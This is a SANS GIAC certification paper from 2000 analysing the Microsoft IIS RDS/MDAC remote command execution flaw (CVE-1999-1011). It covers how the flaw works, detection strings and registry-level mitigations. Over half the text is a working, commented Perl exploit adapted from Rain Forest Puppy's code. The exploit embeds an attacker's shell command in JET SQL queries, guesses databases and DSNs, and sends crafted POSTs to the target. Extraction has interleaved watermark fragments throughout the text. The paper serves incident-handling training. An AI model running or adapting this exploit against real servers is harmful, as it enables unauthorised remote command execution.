Global Information Assurance Certification Paper - GIAC Certifications
←
→
Page content transcription
If your browser does not render page correctly, please read the page content below
Global Information Assurance Certification Paper Copyright SANS Institute Author Retains Full Rights This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission. Interested in learning more? Check out the list of upcoming events offering "Hacker Tools, Techniques, Exploits, and Incident Handling (Security 504)" at http://www.giac.org/registration/gcih
GIAC Incident Practical SANS Security DC 2000 Rick Thompson s. ht rig Introduction ull This is a practical assignment for GIAC certification from the SANS Security DC 200 f conference, requiring documentation of an “exploit, vulnerability or malicious program ns … that Key corresponds to theFA27 fingerprint = AF19 [SANS] 2F94‘top 998Dten’ vulnerabilities FDB5 DE3D F8B5list.” 06E4I have A169selected 4E46 the “IIS tai RDS Vulnerability.” re or Exploit Details th Name: Microsoft IIS RDS Vulnerability (CVE-1999-1011) Au Variants: Perl source code for the exploit is easily available, resulting in countless 2, custom scripts 00 -2 Operating System: Microsoft Windows platforms running Internet Information Server with MDAC 00 Protocols/Services: All communication to the target server is through standard HTTP 20 Brief Description: This exploit uses IIS to take advantage of a vulnerability in Microsoft te Data Access Components in order to remotely execute arbitrary commands on the tu target without user validation. sti In Protocol Description NS All communication to the target server is through standard HTTP, using completely SA normal TCP/IP directed to whatever port the IIS web server is listening on. There are no malformed packets or covert communications involved. © Description of variants TheKey exploit was widely fingerprint publicized = AF19 FA27 2F94in 998D Perl source code F8B5 FDB5 DE3D by Rain Forest 06E4 A169Puppy, 4E46 both as an original, and a second version with additional features. These can be found at http://www.technotronic.com/rfp © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
Since the exploit is written in Perl, it is quite simple for any attacker to customize as they see fit. I have edited the exploit into a simplified, heavily commented “academic” variant included below. Although completely functional, this variant is less featured (and s. thus less useful as an attack tool) but hopefully more easy to understand. ht rig How the exploit works ull The Microsoft Security Bulletin describing this vulnerability f ns http://www.microsoft.com/technet/security/bulletin/MS99-025.asp Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai is accurate, but somewhat confusing, especially if the reader has little prior re knowledge of the components involved. or When a standard install of the Windows NT Option Pack is performed, one of the th components installed is “Microsoft Data Access Components” (MDAC, referred to in Au some literature as MSDAC) along with its subcomponent “Remote Data Services” (RDS which consists of the RDSServer.DataFactory and an alias to it called 2, AdvancedDataFactory ). 00 -2 MDAC is, essentially, an access mechanism to allow arbitrary programs to access SQL databases. Any local program that needed to access SQL data could use 00 MDAC as an interface mechanism. This has the completely legitimate purpose of allowing user-written programs to perform tasks such as SQL queries without 20 requiring the programmer to master the complexities of directly manipulating databases. te tu RDS is a subcomponent of MDAC which extends its capabilities to allow remote sti database queries through the IIS webserver. This too has a completely legitimate In purpose. Using RDS, a web designer can relatively easily integrate database access into their web applications. NS This is an extremely useful bit of functionality: a web form, for example, can be SA constructed so that when it is POST’ed it issues a query against a SQL database and returns a formatted page with the results. So far, so good. © The gaping security hole in this setup comes in when you are made aware that shell commands can be embedded in MDAC database queries. The Microsoft JET database engine, used to communicate to Access databases uses the "|" character to execute VBA code Key within SQL fingerprint statements = AF19 FA27 2F94 in 998D JET. FDB5 If the VBA DE3Dcommand used F8B5 06E4 is 4E46 A169 “shell()” then the attacker can issue any arbitrary command. This is discussed in detail on the Bugtraq mailing list. One possible link to the article is http://www.geek-girl.com/bugtraq/1999_2/0544.html © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
The chain then becomes devastatingly simple: IIS accepts HTML POSTs from arbitrary Internet locations. RDS allows those POSTs to generate MDAC queries. MDAC allows queries to contain arbitrary embedded shell commands. s. Ordinarily, the most straightforward way to access a database would be to simply ht specify its name as “DSN=mydatabase”. However, access through this method rig invokes database “handlers,” which may require valid UIDs or even passwords. This protection can be circumvented by directly specifying the Microsoft access driver ull and the file name associated with the database in a format like f "driver={Microsoft Access Driver (*.mdb)}; dbq=c:\filename.mdb;" ns Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai When this method is used, there is no user validation performed. re The upshot quite clear: Anyone, from anywhere can issue arbitrary commands to the or operating system. th The problem is magnified when you recall that these commands are embedded in Au simple HTML posts. These are completely normal traffic for a webserver of any description. Thus, even an admirably configured firewall will happily pass along 2, these poisonous commands. 00 -2 Exploits to take advantage of this vulnerability have, at their heart, a routine to format an HTML POST request which calls RDS to issue an MDAC database query 00 with the attacker’s command embedded within it. 20 The only slight problem for the attacker is the fact that MDAC cannot issue a te syntactically valid query (and thus issue the shell command) against a database file tu that does not exist. Thus, for the exploit to succeed, the attacker must either know the name and location of an existing database, or succeed in causing RDS to create sti one. The vast majority of the code in the most widely distributed version of the In exploit (Rain Forest Puppy’s code, referenced above) is devoted to dealing with this obstacle. NS Happily for the attacker, any valid .mdb file will work. And if the NT options pack is SA installed with a “typical” set of components, a tutorial file called “btcustmr.mdb” is installed with it. If the Cold Fusion product is installed, still others are installed. So, if © btcustmr.mdb is not installed, the exploit code tries guessing at other common names. If one of these other databases are used, a command to make a dummy table may be necessary, since the attacker still needs to issue a syntactically valid query. The exploit contains code to do this. Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 If this guessing game fails, it is possible that the attacker can create their own dummy DSN, since some servers are configured to allow the makedsn.exe utility to be run remotely. © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
Finally, in a game of move and counter-move, the exploit includes functionality to attempt to circumvent the Microsoft-suggested workaround. Microsoft’s documentation highlights a particular object part of MDAC called RDSServer.DataFactory. The workaround restricts database access to forbid the sort of direct access to .mdb files whiles allows UIDs and passwords to be s. circumvented by requiring database accesses to be made through a “handler.” ht However, the vulnerability extends to a second object, called rig VbBusObj.VbBusObjCls, which doesn’t use handlers. The exploit offers the ability to target this object instead. ull f Diagram ns Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai re or th Au 2, 00 -2 00 How to use it? 20 Use of the program code is extremely simple. To attack host 10.9.8.7, simple issue te the command: tu sti programname –h 10.9.8.7 In The script will ask you for the command to run on the target and will then try various NS methods to insert it on the target. Very little skill is required on the part of the attacker. SA Signature of the attack © Microsoft suggests detection by reviewing IIS logs for "POST" entries to /msadc/msadcs.dll. This suggestion is of little practical value. Administrators who are actually using the RDS component of MDAC will see many of these. For those who are not, these attempts would certainly be a sign of attempted intrusion, but it is likely that Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 any administrator who is not using RDS and who is sufficiently concerned to be examining logs will simply remove these components altogether. © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
An IDS capable of scanning for the strings “btcustmr.mdb” and “VbBusObj.VbBusObjCls” would point out extremely suspicious activity. How to protect against it? s. ht A second Microsoft document rig http://www.microsoft.com/technet/security/bulletin/fq99-025.asp ull describes in greater detail than the security bulletin the measures that can be taken f to circumvent the problem. ns Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai In summary, he actions to take are these: re First, upgrade to the latest version of MDAC, and ensure that it is set in “safe” mode. To or be in safe mode the registry key th HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/DataFactory /HandlerInfo/HandlerRequired Au 2, must contain a DWORD set to “1,” not “0”. This disables the ability to access .mdb files 00 directly (bypassing any authentication checks). -2 However, the “VbBusObj.VbBusObjCls” object vulnerability will still exist. Deal with this 00 by deleting the registry key 20 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/W3SVC /Parameters/ADCLaunch/VbBusObj.VbBusObjCls te tu altogether. sti Then delete the vbbusobj.dll file itself, which assuming your root drive is “c:” is stored in In NS c:\program files\common files\system\msadc\samples\selector\ middle_tier\vbbusobj\vbbusobj.dll SA Then get rid of any sample scripts. Virtual directories such as © IISSamples IISHelp IISadmpwd canKey probably be removed, fingerprint as can = AF19 FA27 physical 2F94 directories 998D FDB5 such as DE3D F8B5 06E4 A169 4E46 \inetpub\scripts\tools \inetpub\scripts\samples \inetpub\scripts\iisadmin © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
\inetpub\iissamples\ If you are not using RDS, it should simply be disabled altogether. In addition to performing the above steps, remove the /msadc virtual directory from the default Web site altogether s. ht Then delete the following two registry keys: rig HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet \Services \W3SVC ull \Parameters \ADCLaunch \RDSServer.DataFactory f HKEY_LOCAL_MACHINE \SYSTEM \CurrentControlSet \Services \W3SVC ns \Parameters \ADCLaunch \AdvancedDataFactory Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai Be particularly careful during any future upgrades, since many of these structures you re just carefully deleted will probably be re-created. or th Source code/ Pseudo code Au The exploit code works basically as follows: 2, 1. Contact target via HTTP 00 2. Ensure that target is running IIS and MDAC -2 3. Try query (with embedded command) using btcustmr.mdb A. Format a database query with the embedded shell command 00 B. Wrap it into a standard HTML POST 20 C. Send the POST to the target D. Check for success te 4. Try to create a dummy database of our own using makedsn.exe and run query tu against that 5. Try requests in DSN=mydsn format using common DSN names to run poisoned sti query against In A. Cycle through common DSN locations a. Try to create a dummy table NS b. Format a database query with the embedded shell command SA c. Wrap it into a standard HTML POST d. Send the POST to the target e. Check for success © 6. Try requests specifying .mdb files using common .mdb names The following code is liberally commented to illustrate this: #!/usr/bin/perl # Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 # MSDAC/RDS exploit # Academic version # # Original by rain forest puppy © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
# Academic version by jrt # # This version strips out some features, reorganizes and # renames a lot of variables to clarify the code for academic # purposes. The code still works, but should be easier to # understand, although a less useful attack tool # s. # Removed: external dictionary support ht # save/resume support # UNC support rig use Socket; ull use Getopt::Std; f # Initializations --------------------------------------------------------- ns Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai $command_interpreter="cmd /c"; $content_length=0; re $delay=1; $got_target = 0; $just_print_index=0; or $just_show_netbios_name=0; th $potentially_vulnerable=0; $rds_request_length=0; $run_all_steps=1; $SUCCESS = 1; Au $FAILURE = 0; 2, $target_host=""; $target_port = 80; 00 $use_VbBusObj = 0; -2 $verbose=0; $|=1; 00 20 # Drive letters that NT may be resident on @drives=("c","d","e","f","g","h"); te # Directories that NT may reside in tu @sysdirs=("winnt","winnt35","winnt351","win","windows"); sti # The following are commonly found DSN's In # we want the arbitrary name 'wicca' first, in the list because that’s the name # we use in our own makedsn routine so if we makde it, it's ready to go @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", NS "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "banner", "banners", "ads", "ADCDemo", "ADCTest", "prod", "devl", "test", SA "www", "sql", "db"); # The following are .mdb files commonly found in %systemroot% © @sysmdbs=( "\\catroot\\icatalog.mdb", "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", "\\system32\\certmdb.mdb", "\\system32\\ias\\ias.mdb", "\\system32\\ias\dnary.mdb", "\\system32\\certlog\\certsrv.mdb" Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 ); # The following are other commonly found .mdb files @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "\\cfusion\\cfapps\\forums\\forums_.mdb", © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", "\\cfusion\\cfapps\\security\\realm_.mdb", "\\cfusion\\cfapps\\security\\data\\realm.mdb", "\\cfusion\\database\\cfexamples.mdb", "\\cfusion\\database\\cfsnippets.mdb", "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", "\\progra~1\\common~1\\system\\msdac\\samples\\advworks.mdb", s. "\\cfusion\\brighttiger\\database\\cleam.mdb", ht "\\cfusion\\database\\smpolicy.mdb", "\\cfusion\\database\cypress.mdb", rig "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "\\website\\cgi-win\\dbsample.mdb", ull "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" f ); ns # Main -------------------------------------------------------------------- Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai re print "RDS/MSDAC exploit: academic version\n"; # First, we read in any flags and arguments or th getopts("e:vd:h:p:XVNws:", \%args); &handle_args; # Make sure we have been given a target Au 2, if (! $got_target) { &print_usage; 00 exit; -2 } # Make sure the target host is valid 00 $target_host = inet_aton($ip) 20 || die("inet_aton problems; host doesn't exist?"); te # Make sure the target host is running IIS and msdac tu print "Checking for vulnerability"; sti $potentially_vulnerable = &check_for_possible_vulnerability; if ( ! $potentially_vulnerable) { In exit; }; NS # So, at this point, we know that the target host is potentially vulnerable SA # One of the things that can be done with this exploit code is # to dump the tables of MS Index Server, if they're running it. © if ($just_print_index) { &dump_index_server_tables; exit; } # Another thing we can do is to retrieve the netbios name of the target Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 if ($just_show_netbios_name) { &show_netbios_name; exit; } © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
# But, our primary function is to run an arbitrary command on the target # # The command we want to run will be prefixed by the name of the # command interpreter. This defaults to "cmd /c" which is correct # for Windows NT, but a -w argument can specify "command" instead, # which is correct for Windows 95/98 # s. # So, here we prompt the user for the command to run, then prepend the ht # interpreter name rig print "Type the command you want to run ($command_interpreter assumed):\n" . "$command_interpreter "; ull $in = ; chomp $in; f $cmd_to_run = "$command_interpreter " . $in ; ns Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai # For the exploit to work, there has to be some sort of database # that we know the name of (either the DSN, or the mdb it refers to.) re # The first one we try is "btcustmr.mdb" which is installed by default # with the NT 4 Options pack. This was the database highlighted in the original # MS98-004 advisory or th if ($run_all_steps || $step_to_run==1){ print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; &try_btcustmr; } Au 2, # If there is no "btcustmr.mdb" then vulnerabilities may still allow us to # pass a command string by making a database of our own 00 # This will be junk, of course, but remember, all that matters is that we -2 # know the name of some database. It doesn't have to be a useful database. if ($run_all_steps || $step_to_run==2){ 00 print "\nStep 2: Trying to make our own DSN..."; if (&make_dsn) { 20 print "\n"; sleep(3); # we need to sleep to let the server catchup te } else { tu print "\n"; sti } } In # If there's no btcustmr.mdb, and we can't create a database ourselves # we're reduced to guessing. First we try common DSNs NS if ($run_all_steps || $step_to_run==3) { SA print "\nStep 3: Trying known DSNs..."; &try_common_dsns; } © # Next, we try common .mdbs if ($run_all_steps || $step_to_run==4) { print "\nStep 4: Trying known .mdbs..."; &known_mdb; } Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 # RFP's original then went on to try DSN's entered as arguments to the program, # and an optional external dictionary of DSN's, but you get the point print "\n\nNo luck, guess you'll have to use a real hack, eh?\n"; © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
exit; # Subroutines ------------------------------------------------------------- sub handle_args { # All we're doing here is reading the flags and arguments so that we s. # can use conditions like "run_all_steps" rather than "!(defined $args{s}" ht # # This is purely for code clarity rig if (defined $args{v}) { ull $verbose = 1; }; f if (defined $args{p}) { $target_port = $args{p}; ns }; Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai if (defined $args{d}) { $delay = $args{d}; re }; if (defined $args{X}) { $just_print_index = 1; or }; th if (defined $args{N}) { $just_show_netbios_name = 1; }; if (defined $args{w}) { Au $command_interpreter = "command /c"; 2, }; if (defined $args{s}){ 00 $step_to_run = $args{s}; -2 }; if (defined $args{V}){ $use_VbBusObj = 1; 00 }; if (defined $args{h}){ 20 $got_target = 1; $ip = $args{h}; te }; }; tu sti # ------------------------------------------------------------------------- In sub print_usage { # Just print a usage summary if we didn't get a sane command line NS print qq~ Usage: msdac.pl -h { -d -X -v } SA -h = host you want to scan (ip or domain) -d = delay between calls, default 1 second -p = destination port default $target_port © -X = dump Index Server path table, if available -N = query VbBusObj for NetBIOS name -V = use VbBusObj instead of ActiveDataFactory -v = verbose -w = Windows 95 instead of Windows NT -s = run only step Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 ~; }; # ------------------------------------------------------------------------- © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
sub send_data_to_target { # This simply opens a socket to the target host and throws the data # across the connection. This technique could be identical in any # perl program that needed to do that, and it has nothing to do with the # fact that this particular progra is an exploit. # The text to send is given as the function's argument s. my ($text_to_send)=@_; ht # Create a socket rig socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); ull # Connect to the target host and throw the data at it f if (connect(S,pack "SnA4x8",2,$target_port,$target_host)) { open(OUT,">raw.out"); ns my @in; Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai select(S); $|=1; re print $text_to_send; while() { print OUT $_; or push @in, $_; th print STDOUT "."; }; close(OUT); select(STDOUT); Au close(S); 2, print "\n"; return @in; 00 } -2 else { die("Can't connect...\n"); }; 00 }; 20 # ------------------------------------------------------------------------- te sub make_http_wrapper { # The RDS request is wrapped up in a standard HTML POST tu # request. This is pretty bland code to produce the headers sti # required for the POST In my $object_to_use, $arg_ct; if ($use_VbBusObj) { $object_to_use="VbBusObj.VbBusObjCls.GetRecordset"; NS $arg_ct="2"; } SA else { $object_to_use="AdvancedDataFactory.Query"; $arg_ct="3"; © } $msdac=
--!ARBITRARY!TEXT!STRING! Content-Type: application/x-varg Content-Length: $rds_request_length EOT ; $msdac=~s/\n/\r\n/g; s. return $msdac; ht }; rig # ------------------------------------------------------------------------- ull sub create_rds_request { # make the RDS request # Here we create and format an RDS request f # We will eventually embed this in an html request ns my ($request_type, $p1, $p2)=@_; Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai my $rds_request=""; my $unicode_query, $unicode_dsn, $query, $dsn; re # The syntax of he query and dsn vary according to the type of or # rds request we're creating th # If we're trying to attack through btcustmr.mdb: if ($request_type eq "btcustmr.mdb") { Au # HERE is where the attacker's arbitrary command is inserted into the query # if the target has "btcustmr.mdb" installed 2, $query="Select * from Customers where City='|shell(\"$cmd_to_run\")|'"; $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 00 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;"; -2 } # If we're trying to create a table to enable an attack without btcustmr.mdb: 00 elsif ($request_type eq "create_table") { $query="create table AZZ (B int, C varchar(10))"; 20 $dsn="$p1"; } te # If we're trying to attack through same database other than btcustmr.mdb: tu elsif ($request_type eq "query_table") { sti # HERE is where the attacker's arbitrary command is inserted into the query # for all attacks that don't depend on the target having "btcustmr.mdb" In $query="select * from MSysModules where name='|shell(\"$cmd_to_run\")|'"; $dsn="$p1"; } NS # If we're trying to dump Index Server records SA elsif ($request_type eq "dump_index") { $query="select path from scope()"; $dsn="Provider=MSIDXS;"; © } # If we're just trying to see if we have a valid Access database elsif ($request_type eq "access") { $query="select"; $dsn="$p1"; } Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 # The remainder and format of the RDS request is standard regardless # of query type $unicode_query = make_unicode($query); © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
$unicode_dsn = make_unicode($dsn); if ( use_VbBusObj ) { $rds_request=""; } else { $rds_request = "\x02\x00\x03\x00"; }; s. ht $rds_request.= "\x08\x00" . pack ("S1", length($unicode_query)); $rds_request.= "\x00\x00" . $unicode_query ; rig $rds_request.= "\x08\x00" . pack ("S1", length($unicode_dsn)); $rds_request.= "\x00\x00" . $unicode_dsn ; ull $rds_request.="\r\n--!ARBITRARY!TEXT!STRING!--\r\n"; f return $rds_request; }; ns Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai # ------------------------------------------------------------------------- re sub make_unicode { # Convert to unicode my ($in) = @_; or my $out; th for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }; return $out; Au }; 2, # ------------------------------------------------------------------------- 00 -2 sub check_for_success { # This is rfp's original check. He himself points out that this is # merely looking at the reply to see that you have issued a valid SQL statement, 00 # and not in any way a guarantee that the arbitrary command you wanted to execute # has actually worked 20 my (@in) = @_; te my $base=content_start(@in); if ($in[$base]=~/multipart\/mixed/) { tu if ( $in[$base+10]=~/^\x09\x00/ ) { sti return $SUCCESS; }; In }; return $FAILURE; }; NS # ------------------------------------------------------------------------- SA sub make_dsn { # If we can't connect to btcustmr.mdb, this (tries to) make a DSN for us © # We can make our own DSN through a simple http request if someone # has left /scripts/tools/makedsn.exe installed and available to # the webserver. print "\nMaking DSN: "; foreach $drive (@drives) { print Key "$drive:= "; fingerprint AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 my $make_dsn_command = "GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"; my @results = send_data_to_target("$make_dsn_command"); $results[0] =~ m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
if ($2 eq "404") { # we got a not found/doesn't exist message back return $FAILURE; }; if ($2 eq "200") { foreach $line (@results) { if ($line =~ /Datasource creation successful/) { s. return $SUCCESS; ht }; }; rig }; }; ull return $FAILURE; }; f # ------------------------------------------------------------------------- ns Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai sub try_btcustmr { # Here we try the easiest way in. We construct a bogus query against re # btcustmr.mdb and submit it to the webserver, using every location that # we think btcustmr.mdb might be found or foreach $dir (@sysdirs) { th print "$dir -> "; # status so you can see progress drive by drive foreach $drive (@drives) { Au print "$drive: "; # status so you can see progress dir by dir within drive # We create an RDS request for btcustmr.mdb with the curent guess at location 2, my $request_to_issue = create_rds_request("btcustmr.mdb", $drive, $dir); 00 # We now have to calculate the length to plug into the HTTP header -2 $rds_request_length = length( $request_to_issue ) - 28; $content_length = 206 + length("$rds_request_length") + $rds_request_length; 00 # We construct a complete POST request by prepending the HTTPm header to # the RDS request 20 my $http_request = make_http_wrapper() . $request_to_issue; te # And throw it to the target host my @results = send_data_to_target($http_request); tu sti # A quick check to see if it succeeded if (check_for_success(@results)) { In print "Success!\n"; exit; } NS else { verbose(odbc_error(@results)); SA handle_unusual_results(@results); }; }; © print "\n"; }; }; # ------------------------------------------------------------------------- sub Key odbc_error { = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 fingerprint # This code has little to do with the exploit. It merely translates any # error messages that the ODBC server hands back into a more human-readable # format my (@in) = @_; © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
my $base; my $base = content_start(@in); if ($in[$base]=~/application\/x-varg/) { # it *SHOULD* be this $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; return $in[$base+4].$in[$base+5].$in[$base+6]; s. } ht print "\nNON-STANDARD error:\n"; print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . rig $in[$base+4] . $in[$base+5] . $in[$base+6]; exit; } ull # ------------------------------------------------------------------------- f sub verbose { ns # print if verbose flag is on, otherwise, just return Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai my ($in) = @_; re if ($verbose) { print STDOUT "\n$in\n"; }; or return 0; th }; Au # ------------------------------------------------------------------------- sub create_table { 2, # To run a valid SQL query, we need a valid database and a # valid table within it. Here we try to create a useless table 00 # so that we have some table we can run a query against -2 if ($use_VbBusObj) { return SUCCESS; 00 # If it exists at all on the server, we already know a table }; 20 my ($in)=@_; te # Just as in the try_btcustmr routine, we create an RDS request my $request_to_issue = create_rds_request("create_table", $in, ""); tu # Just as in the try_btcustmr routine, we calculate the length of the POST sti $rds_request_length = length( $request_to_issue ) - 28; $content_length = 206 + length("$rds_request_length") + $rds_request_length; In # Just as in the try_btcustmr routine, we prepend good HTML headers to the request my $http_request = make_http_wrapper() . $request_to_issue; # Send it to the target server NS my @results = send_data_to_target($http_request); # And check for success SA if (check_for_success(@results)) { return $SUCCESS; }; © my $errors = odbc_error(@results); verbose($errors); if ($errors =~ /Table 'AZZ' already exists/) { return $SUCCESS; }; return $FAILURE; };Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 # ------------------------------------------------------------------------- sub try_common_dsns { # Here we cycle through a lst of common DSN's, trying to find a live one © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
# We check each possibility to see if it's a valid Access database # If it is, we try to create a (dummy) table in it. # If we ever succeed, we run the (poisoned) query foreach $dSn (@dsns) { print "."; # Just printing something for a progress indicator s. # For each common database name, we try and see if it's a valid Access DB ht if (!is_access("DSN=$dSn")) { next; rig # If we have a valid database, but it isn't Access, it's of no help }; ull # OK, we have a valid database name. Can we create a dummy table so we f # can run a query? if (create_table("DSN=$dSn")) { ns Key# fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai We have a table. Now let's run a query (WITH an encapsulated shell comand) if (run_query("DSN=$dSn")) { re print "$dSn: Success!\n"; exit; }; or }; th }; print "\n"; }; Au # ------------------------------------------------------------------------- 2, sub is_access { 00 # Given a (possible) DSN name, we try to see if we can get to it -2 # and, if so, if it's an Access database if ($use_VbBusObj) { 00 return SUCCESS; # If it exists at all on the server, we already know it's Access 20 }; te my ($in) = @_; # Just as in the try_btcustmr routine, we create an RDS request tu my $request_to_issue = create_rds_request("access", $in, ""); sti # Just as in the try_btcustmr routine, we calculate the length of the POST $rds_request_length = length( $request_to_issue ) - 28; In $content_length = 206 + length("$rds_request_length") + $rds_request_length; # Just as in the try_btcustmr routine, we prepend good HTML headers to the request my $http_request = make_http_wrapper() . $request_to_issue; NS # Send it to the target server my @results = send_data_to_target($http_request); SA # And check for success my $temp = odbc_error(@results); verbose($temp); © if ($temp =~ /Microsoft Access/) { return $SUCCESS; }; return $FAILURE; }; # ------------------------------------------------------------------------- Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 sub run_query { my ($in) = @_; # Just as in the try_btcustmr routine, we create an RDS request © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
# HOWEVER, this RDS request encapsulates some arbitrary command # of the attacker's my $request_to_issue = create_rds_request("query_table", $in, ""); # Just as in the try_btcustmr routine, we calculate the length of the POST $rds_request_length = length( $request_to_issue ) - 28; $content_length = 206 + length("$rds_request_length") + $rds_request_length; s. # Just as in the try_btcustmr routine, we prepend good HTML headers to the request ht my $http_request = make_http_wrapper() . $request_to_issue; # Send it to the target server rig my @results = send_data_to_target($http_request); # And check for success ull if (check_for_success(@results)) { return $SUCCESS; f }; my $temp = odbc_error(@results); ns verbose($temp); Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 tai return $FAILURE; } re # ------------------------------------------------------------------------- or sub known_mdb { th # Here we cycle through a lst of common mdb's, trying to find a live one # We try to create a table in each possibility # Au If we ever succeed, we run the (poisoned) query my @drives = ("c","d","e","f","g"); 2, my @dirs = ("winnt","winnt35","winnt351","win","windows"); my $dir, $drive, $mdb; 00 my $drv = "driver={Microsoft Access Driver (*.mdb)}; dbq="; -2 # We try common mdb's in %systemroot% foreach $drive (@drives) { 00 foreach $dir (@sysdirs) { foreach $mdb (@sysmdbs) { 20 print "."; # print a progress indicator # Try to create a dummy table te if (create_table($drv.$drive.":\\".$dir.$mdb)) { # Try and run the query (containing the attacker's command of choice) tu if (run_query($drv . $drive . ":\\" . $dir . $mdb)) { sti print "$mdb: Success!\n"; exit; In }; }; }; NS }; }; SA # We try common mdb's not in %systemroot% foreach $drive (@drives) { © foreach $mdb (@mdbs) { print "."; # print a progress indicator # Try to create a dummy table if (create_table($drv.$drive.":".$mdb)) { # Try and run the query (containing the attacker's command of choice) if (run_query($drv.$drive.":".$mdb)) { print "$mdb: Key fingerprint Success!\n"; = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 exit; }; }; }; }; © SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.
